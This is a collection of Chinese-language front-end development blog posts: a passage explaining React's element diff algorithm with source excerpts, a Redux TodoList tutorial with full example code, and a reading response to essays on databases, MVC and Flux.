	对于同一类型的组件，有可能其 Virtual DOM 没有任何变化，如果能够确切的知道这点那可以节省大量的 diff 运算时间，因此 React 允许用户通过 shouldComponentUpdate() 来判断该组件是否需要进行 diff。




如下图，当 component D 改变为 component G 时，即使这两个 component 结构相似，一旦 React 判断 D 和 G 是不同类型的组件，就不会比较二者的结构，而是直接删除 component D，重新创建 component G 以及其子节点。虽然当两个 component 是不同类型但结构相似时，React diff 会影响性能，但正如 React 官方博客所言：不同类型的 component 是很少存在相似 DOM tree 的机会，因此这种极端因素很难在实现开发过程中造成重大影响的。



element diff

当节点处于同一层级时，React diff 提供了三种节点操作，分别为：INSERT_MARKUP（插入）、MOVE_EXISTING（移动）和 REMOVE_NODE（删除）。


	INSERT_MARKUP，新的 component 类型不在老集合里， 即是全新的节点，需要对新节点执行插入操作。


	MOVE_EXISTING，在老集合有新 component 类型，且 element 是可更新的类型，generateComponentChildren 已调用 receiveComponent，这种情况下 prevChild=nextChild，就需要做移动操作，可以复用以前的 DOM 节点。


	REMOVE_NODE，老 component 类型，在新集合里也有，但对应的 element 不同则不能直接复用和更新，需要执行删除操作，或者老 component 不在新集合里的，也需要执行删除操作。




function enqueueInsertMarkup(parentInst, markup, toIndex) {
  updateQueue.push({
    parentInst: parentInst,
    parentNode: null,
    type: ReactMultiChildUpdateTypes.INSERT_MARKUP,
    markupIndex: markupQueue.push(markup) - 1,
    content: null,
    fromIndex: null,
    toIndex: toIndex,
  });
}

function enqueueMove(parentInst, fromIndex, toIndex) {
  updateQueue.push({
    parentInst: parentInst,
    parentNode: null,
    type: ReactMultiChildUpdateTypes.MOVE_EXISTING,
    markupIndex: null,
    content: null,
    fromIndex: fromIndex,
    toIndex: toIndex,
  });
}

function enqueueRemove(parentInst, fromIndex) {
  updateQueue.push({
    parentInst: parentInst,
    parentNode: null,
    type: ReactMultiChildUpdateTypes.REMOVE_NODE,
    markupIndex: null,
    content: null,
    fromIndex: fromIndex,
    toIndex: null,
  });
}

如下图，老集合中包含节点：A、B、C、D，更新后的新集合中包含节点：B、A、D、C，此时新老集合进行 diff 差异化对比，发现 B != A，则创建并插入 B 至新集合，删除老集合 A；以此类推，创建并插入 A、D 和 C，删除 B、C 和 D。



React 发现这类操作繁琐冗余，因为这些都是相同的节点，但由于位置发生变化，导致需要进行繁杂低效的删除、创建操作，其实只要对这些节点进行位置移动即可。

针对这一现象，React 提出优化策略：允许开发者对同一层级的同组子节点，添加唯一 key 进行区分，虽然只是小小的改动，性能上却发生了翻天覆地的变化！

新老集合所包含的节点，如下图所示，新老集合进行 diff 差异化对比，通过 key 发现新老集合中的节点都是相同的节点，因此无需进行节点删除和创建，只需要将老集合中节点的位置进行移动，更新为新集合中节点的位置，此时 React 给出的 diff 结果为：B、D 不做任何操作，A、C 进行移动操作，即可。



那么，如此高效的 diff 到底是如何运作的呢？让我们通过源码进行详细分析。

首先对新集合的节点进行循环遍历，for (name in nextChildren)，通过唯一 key 可以判断新老集合中是否存在相同的节点，if (prevChild === nextChild)，如果存在相同节点，则进行移动操作，但在移动前需要将当前节点在老集合中的位置与 lastIndex 进行比较，if (child._mountIndex < lastIndex)，则进行节点移动操作，否则不执行该操作。这是一种顺序优化手段，lastIndex 一直在更新，表示访问过的节点在老集合中最右的位置（即最大的位置），如果新集合中当前访问的节点比 lastIndex 大，说明当前访问节点在老集合中就比上一个节点位置靠后，则该节点不会影响其他节点的位置，因此不用添加到差异队列中，即不执行移动操作，只有当访问的节点比 lastIndex 小时，才需要进行移动操作。

以上图为例，可以更为清晰直观的描述 diff 的差异对比过程：


	从新集合中取得 B，判断老集合中存在相同节点 B，通过对比节点位置判断是否进行移动操作，B 在老集合中的位置 B._mountIndex = 1，此时 lastIndex = 0，不满足 child._mountIndex < lastIndex 的条件，因此不对 B 进行移动操作；更新 lastIndex = Math.max(prevChild._mountIndex, lastIndex)，其中 prevChild._mountIndex 表示 B 在老集合中的位置，则 lastIndex ＝ 1，并将 B 的位置更新为新集合中的位置 prevChild._mountIndex = nextIndex，此时新集合中 B._mountIndex = 0，nextIndex++ 进入下一个节点的判断。


	从新集合中取得 A，判断老集合中存在相同节点 A，通过对比节点位置判断是否进行移动操作，A 在老集合中的位置 A._mountIndex = 0，此时 lastIndex = 1，满足 child._mountIndex < lastIndex的条件，因此对 A 进行移动操作enqueueMove(this, child._mountIndex, toIndex)，其中 toIndex 其实就是 nextIndex，表示 A 需要移动到的位置；更新 lastIndex = Math.max(prevChild._mountIndex, lastIndex)，则 lastIndex ＝ 1，并将 A 的位置更新为新集合中的位置 prevChild._mountIndex = nextIndex，此时新集合中 A._mountIndex = 1，nextIndex++ 进入下一个节点的判断。


	从新集合中取得 D，判断老集合中存在相同节点 D，通过对比节点位置判断是否进行移动操作，D 在老集合中的位置 D._mountIndex = 3，此时 lastIndex = 1，不满足 child._mountIndex < lastIndex的条件，因此不对 D 进行移动操作；更新 lastIndex = Math.max(prevChild._mountIndex, lastIndex)，则 lastIndex ＝ 3，并将 D 的位置更新为新集合中的位置 prevChild._mountIndex = nextIndex，此时新集合中 D._mountIndex = 2，nextIndex++ 进入下一个节点的判断。


	从新集合中取得 C，判断老集合中存在相同节点 C，通过对比节点位置判断是否进行移动操作，C 在老集合中的位置 C._mountIndex = 2，此时 lastIndex = 3，满足 child._mountIndex < lastIndex 的条件，因此对 C 进行移动操作 enqueueMove(this, child._mountIndex, toIndex)；更新 lastIndex = Math.max(prevChild._mountIndex, lastIndex)，则 lastIndex ＝ 3，并将 C 的位置更新为新集合中的位置 prevChild._mountIndex = nextIndex，此时新集合中 A._mountIndex = 3，nextIndex++ 进入下一个节点的判断，由于 C 已经是最后一个节点，因此 diff 到此完成。




以上主要分析新老集合中存在相同节点但位置不同时，对节点进行位置移动的情况，如果新集合中有新加入的节点且老集合存在需要删除的节点，那么 React diff 又是如何对比运作的呢？

以下图为例：


	从新集合中取得 B，判断老集合中存在相同节点 B，由于 B 在老集合中的位置 B._mountIndex = 1，此时 lastIndex = 0，因此不对 B 进行移动操作；更新 lastIndex ＝ 1，并将 B 的位置更新为新集合中的位置 B._mountIndex = 0，nextIndex++进入下一个节点的判断。


	从新集合中取得 E，判断老集合中不存在相同节点 E，则创建新节点 E；更新 lastIndex ＝ 1，并将 E 的位置更新为新集合中的位置，nextIndex++进入下一个节点的判断。


	从新集合中取得 C，判断老集合中存在相同节点 C，由于 C 在老集合中的位置C._mountIndex = 2，此时 lastIndex = 1，因此对 C 进行移动操作；更新 lastIndex ＝ 2，并将 C 的位置更新为新集合中的位置，nextIndex++ 进入下一个节点的判断。


	从新集合中取得 A，判断老集合中存在相同节点 A，由于 A 在老集合中的位置A._mountIndex = 0，此时 lastIndex = 2，因此不对 A 进行移动操作；更新 lastIndex ＝ 2，并将 A 的位置更新为新集合中的位置，nextIndex++ 进入下一个节点的判断。


	当完成新集合中所有节点 diff 时，最后还需要对老集合进行循环遍历，判断是否存在新集合中没有但老集合中仍存在的节点，发现存在这样的节点 D，因此删除节点 D，到此 diff 全部完成。






_updateChildren: function(nextNestedChildrenElements, transaction, context) {
  var prevChildren = this._renderedChildren;
  var nextChildren = this._reconcilerUpdateChildren(
    prevChildren, nextNestedChildrenElements, transaction, context
  );
  if (!nextChildren && !prevChildren) {
    return;
  }
  var name;
  var lastIndex = 0;
  var nextIndex = 0;
  for (name in nextChildren) {
    if (!nextChildren.hasOwnProperty(name)) {
      continue;
    }
    var prevChild = prevChildren && prevChildren[name];
    var nextChild = nextChildren[name];
    if (prevChild === nextChild) {
      // 移动节点
      this.moveChild(prevChild, nextIndex, lastIndex);
      lastIndex = Math.max(prevChild._mountIndex, lastIndex);
      prevChild._mountIndex = nextIndex;
    } else {
      if (prevChild) {
        lastIndex = Math.max(prevChild._mountIndex, lastIndex);
        // 删除节点
        this._unmountChild(prevChild);
      }
      // 初始化并创建节点
      this._mountChildAtIndex(
        nextChild, nextIndex, transaction, context
      );
    }
    nextIndex++;
  }
  for (name in prevChildren) {
    if (prevChildren.hasOwnProperty(name) &&
        !(nextChildren && nextChildren.hasOwnProperty(name))) {
      this._unmountChild(prevChildren[name]);
    }
  }
  this._renderedChildren = nextChildren;
},
// 移动节点
moveChild: function(child, toIndex, lastIndex) {
  if (child._mountIndex < lastIndex) {
    this.prepareToManageChildren();
    enqueueMove(this, child._mountIndex, toIndex);
  }
},
// 创建节点
createChild: function(child, mountImage) {
  this.prepareToManageChildren();
  enqueueInsertMarkup(this, mountImage, child._mountIndex);
},
// 删除节点
removeChild: function(child) {
  this.prepareToManageChildren();
  enqueueRemove(this, child._mountIndex);
},

_unmountChild: function(child) {
  this.removeChild(child);
  child._mountIndex = null;
},

_mountChildAtIndex: function(
  child,
  index,
  transaction,
  context) {
  var mountImage = ReactReconciler.mountComponent(
    child,
    transaction,
    this,
    this._nativeContainerInfo,
    context
  );
  child._mountIndex = index;
  this.createChild(child, mountImage);
},

当然，React diff 还是存在些许不足与待优化的地方，如下图所示，若新集合的节点更新为：D、A、B、C，与老集合对比只有 D 节点移动，而 A、B、C 仍然保持原有的顺序，理论上 diff 应该只需对 D 执行移动操作，然而由于 D 在老集合的位置是最大的，导致其他节点的 _mountIndex < lastIndex，造成 D 没有执行移动操作，而是 A、B、C 全部移动到 D 节点后面的现象。

在此，读者们可以讨论思考：如何优化上述问题？

建议：在开发过程中，尽量减少类似将最后一个节点移动到列表首部的操作，当节点数量过大或更新操作过于频繁时，在一定程度上会影响 React 的渲染性能。





总结


	React 通过制定大胆的 diff 策略，将 O(n3) 复杂度的问题转换成 O(n) 复杂度的问题；


	React 通过分层求异的策略，对 tree diff 进行算法优化；


	React 通过相同类生成相似树形结构，不同类生成不同树形结构的策略，对 component diff 进行算法优化；


	React 通过设置唯一 key的策略，对 element diff 进行算法优化；


	建议，在开发组件时，保持稳定的 DOM 结构会有助于性能的提升；


	建议，在开发过程中，尽量减少类似将最后一个节点移动到列表首部的操作，当节点数量过大或更新操作过于频繁时，在一定程度上会影响 React 的渲染性能。
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如果本文能够为你解决些许关于 React diff 算法的疑惑，请点个赞吧！
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redux —— 入门实例 TodoList


Tip

前端技术真是日新月异，搞完 React 不搭配个数据流都不好意思了。
满怀期待的心去翻了翻 flux，简直被官方那意识流的文档折服了，真是又臭又长还是我智商问题？😖
转战 redux ，越看越有意思，跟着文档做了个 TodoList 的入门小例子。

废话不多说，先贴上文章用到例子的源码 https://github.com/TongchengQiu/TodoList-as-redux-demo
redux 的 Github 仓库 https://github.com/rackt/redux
还有个中文的 gitbook 翻译文档 http://camsong.github.io/redux-in-chinese/index.html

advantage

随着spa（不是SPA，是单页应用）的发展，以 react 来说，组件化和状态机的思想真是解放了烦恼的 dom 操作，一切都为状态。state 来操纵 views 的变化。
然而，因为页面的组件化，导致每个组件都必须维护自身的一套状态，对于小型应用还好。
但是对于比较大的应用来说，过多的状态显得错综复杂，到最后难以维护，很难清晰地组织所有的状态，在多人开发中也是如此，导致经常会出现一些不明所以的变化，越到后面调试上也是越麻烦，很多时候 state 的变化已经不受控制。对于组件间通行、服务端渲染、路由跳转、更新调试，我们很需要一套机制来清晰的组织整个应用的状态，redux 应然而生，这种数据流的思想真是了不起。

state 根对象的结构

在 react 中，我们尽量会把状态放在顶层的组件，在顶层组件使用 redux 或者 router。
这就把组件分为了两种：容器组件和展示组件。
容器组件：和 redux 和 router 交互，维护一套状态和触发 action。
展示组件：展示组件是在容器组件的内部，他们不维护状态，所有数据通过 props 传给他们，所有操作也是通过回调完成。
这样，我们整套应用的架构就显得清晰了。

part

redux 分为三大部分，store ， action ，reducer 。

store

整个应用的 state 被储存在一棵 object tree 中，并且这个 object tree 只存在于唯一一个 store 中。
或者这么说 store 的指责有这些：


	维护整个应用的 state


	提供 getState() 方法获取 state；


	提供 dispatch(action) 方法更新 state；


	通过 subscribe(listener) 注册监听器。




这么解释一下，整个应用的 state 都储存在 store 中，容器组件可以从 store 中获取所需要的状态。
容器组件同时也可以发送给 store 一个 action，告诉他改变某个状态的值，所以说容器组件只要发送一个指令，就可以叫 store 去 setState，然后 store 的 state 改变，回过来容器组件获取到的 state 改变，导致 views 的更新。

action

action 可以理解为一种指令，store 数据的唯一由来就是 action，action 是一个对象，它需要至少一个元素，type，type 是这个指令的唯一标识，其它元素是传送这个指令的 state 值

{
  type: ACTION_TYPE,
  text: “content”,
}

这个指令由组件触发，然后传到 reducer。

reducer

action 只是说明了要去做什么，和做这件事情需要的参数值。
具体去改变 store 中的 state 是由 reducer 来做的。
reducer 其实是一个包含 switch 的函数，前面不是说组件触发的 action 会传递到 reducer，reducer 接收这个参数 action，他通过 switch(action.type) 然后做不同操作，前面说了，这个 type 是指令的标识，reducer 根据这个标识来作出不同的操作。
这个操作是什么呢？
reducer 还接收另一个参数 state，这个是旧的 state。从 action 里面还可以获取到做这个操作需要的 参数值。
这个操作其实就是对原有的 state 和 从 action 中的到的值，来进行操作（结合，删除，...）然后返回一个 新的 state 到 store。

数据流

把前面的语言组织一下，整个操作的数据流其实是这样的：


	store 把整个应用的 state，getState()，dispatch()，subscribe() 传给顶层容器组件；


	
容器组件和三个部分交互：


	内部的展示组件：容器把状态分发给各个组件，把 dispatch（操作数据的函数）以回调的形式分发给各个组件；


	action：容器获取 action；


	reducer：容器可以调用 dispatch(action)，这个上面说了，会以回调的形式给下面的子组件，这样就可以根据不同的用户操作，调用不同的 dispatch(action)，执行了这个函数之后，就把 action 传给 reducer，然后看 reducer；






	reducer 得到容器组件传来的 action 之后，根据 action.type 这个参数执行不同操作，他还会接收到 store 里面的原 state，然后把原 state 和 action 对象里面的其它参数进行操作，然后 return 一个新的对象。


	reducer return 一个新的对象到 store，store 根据这个新对象，更新应用状态。




－－－－一个循环 ♻️

connect

Redux 和 React 之间没有关系，他们并补互相依赖，但是 Redux 和 React 搭配起来简直完美。
我们可以通过 react-redux 这个库把他们绑定起来

npm install --save react-redux

react-redux 提供两个东西 Provider 和 connect。

Provider

这个 Provider 其实就是一个中间件，他是在原有 App Container 上面再包一层，他的作用就是接收 store 里面的 store 作为 props，将store放在context里，给下面的connect用的。

connect

这个组件才是真正连接 Redux 和 React，他包在我们的容器组件的外一层，他接收上面 Provider 提供的 store 里面的 state 和 dispatch，传给一个构造函数，返回一个对象，以属性形式床给我们的容器组件。

实战 TodoList

这个项目使用 webpack 来构建，想要了解 webpack 的配置可以看我的其它两篇文章：
如何使用webpack—webpack-howto;
webpack-best-practice-最佳实践-部署生产.

目录结构

.
├── app                 #开发目录
|   |   
|   ├──actions          #action的文件
|   |   
|   ├──components       #内部组件
|   |   
|   ├──containers       #容器组件
|   |   
|   ├──reducers         #reducer文件
|   |   
|   ├──stores           #store配置文件
|   |
|   └──index.js         #入口文件
|      
├── dist                #发布目录
├── node_modules        #包文件夹
├── .gitignore     
├── .jshintrc      
├── server.js           #本地静态服务器      
├── webpack.config.js   #webpack配置文件
└── package.json

这里，我们只关注我们的 app 开发目录。

index.js 入口文件

import React from 'react';
import { render } from 'react-dom';
import { Provider } from 'react-redux';
import App from './containers/App';
import configureStore from './stores/configureStore';
const store = configureStore();
render(
  <Provider store={store}>
    <App />
  </Provider>,
  document.getElementById('root')
);

这里我们从 react-redux 中获取了一个 Provider 组件，我们把它渲染到应用的最外层。
他需要一个属性 store ，他把这个 store 放在context里，给App(connect)用。

store

app/stores.configureStore.js

import { createStore } from 'redux';
import rootReducer from '../reducers';
export default function configureStore(initialState) {
  const store = createStore(rootReducer, initialState);
  if (module.hot) {
    module.hot.accept('../reducers', () => {
      const nextReducer = require('../reducers');
      store.replaceReducer(nextReducer);
    });
  }
  return store;
}

他从 redux 拿到 createStore 这个函数，再获取到 rootReducer ；
createStore 函数接收两个参数，(reducer, [initialState])，reducer 毋庸置疑，他需要从 store 获取 state，以及连接到 reducer 交互。
initialState 是可以自定义的一个初始化 state，可选参数。
module.hot这个可以不用管，这是 webpack 热加载的处理，你也可以不要他。

容器组件

containers/App.jsx

import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import {
  addTodo,
  completeTodo,
  setVisibilityFilter,
  VisibilityFilters
} from '../actions';

import AddTodo from '../components/AddTodo';
import TodoList from '../components/TodoList';
import Footer from '../components/Footer';

class App extends Component {
  render() {
    const { dispatch, visibleTodos, visibilityFilter } = this.props;
    return (
      <div>
        <AddTodo
          onAddClick={text =>
            dispatch(addTodo(text))
          }
        />
        <TodoList
          todos={visibleTodos}
          onTodoClick={index => dispatch(completeTodo(index))}
        />
        <Footer
          filter={visibilityFilter}
          onFilterChange={nextFilter => dispatch(setVisibilityFilter(nextFilter))}
        />
      </div>
    );
  }
}

App.propTypes = {
  visibleTodos: PropTypes.arrayOf(PropTypes.shape({
    text: PropTypes.string.isRequired,
    completed: PropTypes.bool.isRequired
  })),
  visibilityFilter: PropTypes.oneOf([
    'SHOW_ALL',
    'SHOW_COMPLETED',
    'SHOW_ACTIVE'
  ]).isRequired
};


function selectTodos(todos, filter) {
  switch (filter) {
    case VisibilityFilters.SHOW_ALL:
      return todos;
    case VisibilityFilters.SHOW_COMPLETED:
      return todos.filter(todo => todo.completed);
    case VisibilityFilters.SHOW_ACTIVE:
      return todos.filter(todo => !todo.completed);
  }
}

// 这里的 state 是 Connect 的组件的
function select(state) {
  return {
    visibleTodos: selectTodos(state.todos, state.visibilityFilter),
    visibilityFilter: state.visibilityFilter
  };
}

export default connect(select)(App);

他从 react-redux 获取 connect 连接组件，通过 connect(select)(App) 连接 store 和 App 容器组件。
select 是一个函数，他能接收到一个 state 参数，这个就是 store 里面的 state，然后通过这个函数的处理，返回一个对象，把对象里面的参数以属性传送给 App，以及附带一个 dispatch。
所以在 App 里面可以：

const { dispatch, visibleTodos, visibilityFilter } = this.props;

所以 App 通过 connect 的到 state 和 dispatch，把 state 传递给子组件。
dispatch 这个函数可以接收一个 action 参数，然后就会执行 reducer 里面的操作。
比如：

text =>
  dispatch(addTodo(text))

addTodo(text)，这个函数是在 action 里面的到的，可以看 action 的代码，他其实返回一个 action 对象，所以其实就是dispatch(action) 。

action

app/actions/index.js

export const ADD_TODO = 'ADD_TODO';
export const COMPLETE_TODO = 'COMPLETE_TODO';
export const SET_VISIBILITY_FILTER = 'SET_VISIBILITY_FILTER';
export const VisibilityFilters = {
  SHOW_ALL: 'SHOW_ALL',
  SHOW_COMPLETED: 'SHOW_COMPLETED',
  SHOW_ACTIVE: 'SHOW_ACTIVE',
};

export function addTodo(text) {
  return {
    type: ADD_TODO,
    text
  };
}

export function completeTodo(index) {
  return {
    type: COMPLETE_TODO,
    index
  };
}

export function setVisibilityFilter(filter) {
  return {
    type: SET_VISIBILITY_FILTER,
    filter
  };
}

在声明每一个返回 action 函数的时候，我们需要在头部声明这个 action 的 type，以便好组织管理。
每个函数都会返回一个 action 对象，所以在 容器组件里面 调用

text =>
  dispatch(addTodo(text))

就是调用dispatch(action) 。

reducer

app/reducers/visibilityFilter.js

import {
  SET_VISIBILITY_FILTER,
  VisibilityFilters
} from '../actions';

const { SHOW_ALL } = VisibilityFilters;

function visibilityFilter(state = SHOW_ALL, action) {
  switch (action.type) {
    case SET_VISIBILITY_FILTER:
      return action.filter;
    default:
      return state;
  }
}

export default visibilityFilter;

这里我们从 actions 获得各个 type 的参数，以便和 action 做好映射对应。
整个函数其实就是执行 switch，根据不同的 action.type，返回不同的对象状态。
但是如果我们需要 type 很多，比如除了 visibilityFilter，还有 todos，难道要写一个长长的switch，当然不。
redux 提供一个 combineReducers 辅助函数，把一个由多个不同 reducer 函数作为 value 的 object，合并成一个最终的 reducer 函数，然后就可以对这个 reducer 调用 createStore。
我们把不同的 reducer 放在不同文件下。
app/reducers/todo.js

import {
  ADD_TODO,
  COMPLETE_TODO
} from '../actions';

function todos(state = [], action) {
  switch (action.type) {
    case ADD_TODO:
      return [
        ...state,
        {
          text: action.text,
          completed: false
        }
      ];
    case COMPLETE_TODO:
      return [
        ...state.slice(0, action.index),
        Object.assign({}, state[action.index], {
          completed: true
        }),
        ...state.slice(action.index + 1)
      ];
    default:
      return state
  }
}

export default todos;

然后通过一个 index.js 把他们合并。
app/reducers/index.js

import { combineReducers } from 'redux';
import todos from './todos';
import visibilityFilter from './visibilityFilter';

const rootReducer = combineReducers({
  todos,
  visibilityFilter
});

export default rootReducer;

展示组件

app/components/AddTodo/index.jsx

import React, { Component, PropTypes } from 'react';
import { findDOMNode } from 'react-dom';

export default class AddTodo extends Component {
  render() {
    return (
      <div>
        <input type='text' ref='input' />
        <button onClick={ e => this.handleClick(e) }>
          Add
        </button>
      </div>
    );
  }

  handleClick(e) {
    const inputNode = findDOMNode(this.refs.input);
    const text = inputNode.value.trim();
    this.props.onAddClick(text);
    inputNode.value = '';
  }
}

AddTodo.propTypes = {
  onAddClick: PropTypes.func.isRequired
};

app/components/Todo/index.jsx

import React, { Component, PropTypes } from 'react';

export default class Todo extends Component {
  render() {
    const { onClick, completed, text } = this.props;
    return (
      <li
        onClick={onClick}
        style={{
          textDecoration: completed ? 'line-through' : 'none',
          cursor: completed ? 'default' : 'pointer'
        }}
      >
        {text}
      </li>
    );
  }
}

Todo.propTypes = {
  onClick: PropTypes.func.isRequired,
  text: PropTypes.string.isRequired,
  completed: PropTypes.bool.isRequired
};

app/components/TodoList/index.jsx

import React, { Component, PropTypes } from 'react';
import Todo from '../Todo';

export default class TodoList extends Component {
  render() {
    return (
      <ul>
        {
          this.props.todos.map((todo, index) =>
            <Todo
              {...todo}
              onClick={() => this.props.onTodoClick(index)}
              key={index}
            />
          )
        }
      </ul>
    );
  }
}

TodoList.propTypes = {
  onTodoClick: PropTypes.func.isRequired,
  todos: PropTypes.arrayOf(PropTypes.shape({
    text: PropTypes.string.isRequired,
    completed: PropTypes.bool.isRequired
  }).isRequired).isRequired
};

app/components/Footer/index.jsx

import React, { Component, PropTypes } from 'react';

export default class Footer extends Component {
  renderFilter(filter, name) {
    if(filter == this.props.filter) {
      return name;
    }
    return (
      <a
        href="#"
        onClick={e => {
          e.preventDefault();
          this.props.onFilterChange(filter);
        }}>
        {name}
      </a>
    );
  }

  render() {
    return (
      <p>
        SHOW
        {' '}
        {this.renderFilter('SHOW_ALL', 'All')}
        {', '}
        {this.renderFilter('SHOW_COMPLETED', 'Completed')}
        {', '}
        {this.renderFilter('SHOW_ACTIVE', 'Active')}
        .
      </p>
    );
  }
}

Footer.propTypes = {
  onFilterChange: PropTypes.func.isRequired,
  filter: PropTypes.oneOf([
    'SHOW_ALL',
    'SHOW_COMPLETED',
    'SHOW_ACTIVE'
  ]).isRequired
};

可以看出，所有的展示组件需要的 state 和 数据，都从属性中获取的，所有的操作，都是通过容器组件给的回调函数来操作的。
他们尽可能地不拥有自己的状态，做无状态组件。

end

关于 redux 的用法，这只是基础入门的部分，还有的多的搞基操作，比如异步数据流、Middleware、和 router 配合。
敬请期待～～～～
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
我的博客原文redux 大法好 —— 入门实例 TodoList;


 两篇文章读后感, 关于数据库, 关于 MVC, 也关于 React

作者：题叶

来源： 两篇文章读后感, 关于数据库, 关于 MVC, 也关于 React



                    
两篇文章


今天看了两篇文章, 我觉得对我的影响会很大, 当然, 都是 React 相关的:


一篇是 Martin Kleppmann 在 Strangeloop 2014 大会上的演讲, 有视频, 也有文字版, 关于数据库:



  Turning the database inside-out with Apache Samza
http://www.confluent.io/blog/turning-the-database-inside-out-with-apac...




另一篇是 Christian Alfoni 关于 Flux 的文章, 从 Twitter 上看到的, 关于 MVC 架构:



  Why we are doing MVC and FLUX wrong
http://www.christianalfoni.com/articles/2015_08_02_Why-we-are-doing-MV...
https://www.youtube.com/watch?v=xCIv4-Q2dtA
http://www.christianalfoni.com/todomvc/#/




来源


前面一篇是在 Redux 的文档上看到的, 这文档上有不少我关心的技术:
http://gaearon.github.io/redux/index.html



  
	
The Elm Architecture a great intro to modeling state updates with reducers;

  	
Turning the database inside-out for blowing my mind;

  	
Developing ClojureScript with Figwheel for convincing me that re-evaluation should "just work"

  	
Webpack for Hot Module Replacement;

  	
Flummox for teaching me to approach Flux without boilerplate or singletons;

  	
disto for a proof of concept of hot reloadable Stores;

  	
NuclearJS for proving this architecture can be performant;

  	
Om for popularizing the idea of a single state atom;

  	
Cycle for showing how often a function is the best tool;

  	
React for the pragmatic innovation.

  




Redux 的作者最近在 Twitter 上非常活跃, 总是在发各种 Redux 相关的消息

我的感觉是 Redux 一出来, React 社区跟函数式编程, 跟未来, 的距离又拉进了一步, 一大步

包括 Clojure, Elm, PureScript 在 Twitter 上也非常地活跃... 当然也因为我关注多了这些人

然后我就常常在想, 函数式编程是真的在复兴了对吧, 到处都出现了?


关于数据库


第一篇文章很难懂, 还好图片多, 大致的意思就是重新思考一下数据库

常用的数据库都在基于上世纪的硬件条件设计的, 受到各种限制

如果我们重新思考一下数据库的应用, 应该怎么考虑设计新的方案?


然后作者梳理了一下数据库应用当中的几个重要的点:



	Replication 数据库同步

	Secondary indexing 辅助索引

	Cache 缓存

	Materialized views 物化视图




  
	We first discussed replication, i.e. keeping a copy of the same data on multiple machines. It generally works very well, so we’ll give it a green smiley. There are some operational quirks with some databases, and some of the tooling is a bit weird, but on the whole it’s mature, well-understood, and well-supported.

  	Similarly, secondary indexing works very well. You can build a secondary index concurrently with processing write queries, and the database somehow manages to do this in a transactionally consistent way.

  	On the other hand, application-level caching is a complete mess. Red frowny face.

  	And materialized views are so-so: the idea is good, but the way they’re implemented is not what you’d want from a modern application development platform. Maintaining the materialized view puts additional load on the database, while actually the whole point of a cache is to reduce load on the database!

  




实际开发的感受而言, 前两者在数据库内部实现很高效, 也不需要太多操心

Cache 相对来说就是一团乱麻的实现, 非常难管理

Materialized views 还不错, 可是不适合编程, 灵活度低, 不能做太多事情





那么作者想, 如果反过来, 把数据库同步机制作为数据库设计的核心, 能够改善?

数据库内部通过 Logical log 的形式, 将所有的数据保存下来, 作为同步的手法

这里说的是 Apache Kafka, 我似乎记得 MongoDB, Redux, Docker, Nix 都有类似的做法

这里的 Log 有点像 Flux 当中的 Action, 随着时间就形成了 Stream, 用于同步数据





作者后来更加延伸一步, 觉得从数据库到屏幕像素, 整个都是数据同步的一个过程

比如说数据库的一些查询结果, 相当于 Tables 的 Materialized views, 这样一层抽象

那么, 缓存, HTML DOM, 界面像素, 其实就是后面紧跟的一层层抽象

编写应用而言, 如果整个是 Reactive 的, 后面跟着前面自动更新, 那将是非常高效的

考虑一下, HTML 是后端渲染的, 如果数据库更新了, HTML 自动局部更新多好





这样就需要引入 Stream 的机制了. 只不过, 前端的实现通常是发布/订阅模式

现在的 Meteor 是个特别知名的例子. Meteor 用 MongoDB 的同步机制的话可能还更像






这篇文章指出类似的方案已经有很多人在贡献, 在开发新的工具来实现了

而特别让我在意的是, 整套思路至少在验证我用 Cumulo 探索的方案至少出发点很不错

实际上 Datomic, Redux 这些我在关注的技术, 也是朝着类似的方向前进的

有不小的可能, 未来我们开发应用的方式, 整体是就是依照这套办法做下去


关于 MVC


另一篇文章是在讲 MVC 和 Flux 的问题, 最后抛出自己基于 React 写的 Cerebral

从文章的章节标题可以看到具体的脉络,

MVC 在前端遇到什么问题, Flux 怎么改进, 还能怎么改进:



  Traditional MVC

  Application state

  State in traditional MVC





  When we moved to the frontend





  
	The router is not a controller

  	The view layer bypassed the controller layer

  	No concept of a single state store

  	State in the view layer

  





  What FLUX improved





  
	Fixing the problem

  	A single state store

  	A controller with middleware

  	The views talk to the controller

  	Just do the routing

  





  So what benefits do I really get?

  Summary




后端而言, 各个 Part 之间隔离非常明显, MVC 都有各自的程序和语言来抽象

在前端, 所有东西突然聚在了一起, 催生出特别多原来没有的做法, 也面临各种问题



  
	Multiple views

  	State also inside views

  	Multiple models

  	We bypass the view  controller  model flow

  	The router is no longer the only entry point for state change

  




Flux 对问题做了一些纠正, 避免了状态分散在 View 当中的状况, 跟 MVC 更加贴近

然而其中一些 Part 的用法, 依然存在着问题:



  
	The FLUX architecture uses multiple models (stores). With traditional MVC you only have one model, your database. Multiple stores quickly causes problems when a dispatch needs to reach more than one store and especially if one store needs to know about state in an other

  	There is no concept of middleware like in a traditional controller. This quickly introduced the concept of action creators. They are much like a single middleware that is responsible for doing everything needed related to a request from the view layer, often doing multiple dispatches to the stores

  	When the view layer wants to get some state they still do it directly from the model layer, making unnecessary complex dependencies in the views

  




作者也提出了具体的解决方案, 最主要的是数据和状态要统一到 Model 当中:



  
	We should have one model in our model layer

  	All our state should be contained inside the model layer

  	We should have one controller in our controller layer

  	The view layer can only communicate with the controller layer

  	Use a router that does not control the view layer

  




实际上最终作者得到的就是一个跟 Elm 类似的, State 全部集中的几个方案

同时, 所有的操作也可以被收集, 跟 Elm 一样, 可以用于重演和调试

这里的 Action 跟上面文章说的 Logical log 在思路上也非常相似

也不多说什么, 我总体上认为这是整个 React 社区未来的方向了


Big Picture


梳理一下 Time Travelling Debugger 开发的历程, 挺让人感概

早在函数式编程理论方面的研究我不熟悉就展开了

但实际上函数式编程, 不可变数据, 几乎是这一套方案得以实行的基础

因为有了统一的 State, 才能够用一个调试工具重演整个状态

而这些工具的进展, 我印象比较深的有这样一些时间点:



	2012年2月, Bret Victor 发表了演讲 Inventing on Principle, 此后一再被引用
https://www.youtube.com/watch?v=PUv66718DII


	同样是2月, Chris Granger 开始连载关于 Light Table 调试功能的一些文档
http://www.chris-granger.com/2012/02/26/connecting-to-your-creation/


	2014 年 5 月或者早一些, Elm 发布了关于 Time Travelling Debugger 的文章
http://wadler.blogspot.sg/2014/05/elms-time-travelling-debugger.html


	5月的 WWDC, Swift 语言发布 Playground, 集成了部分 LightTable 当中的调试功能
https://www.youtube.com/watch?v=oY6nQS3MiF8


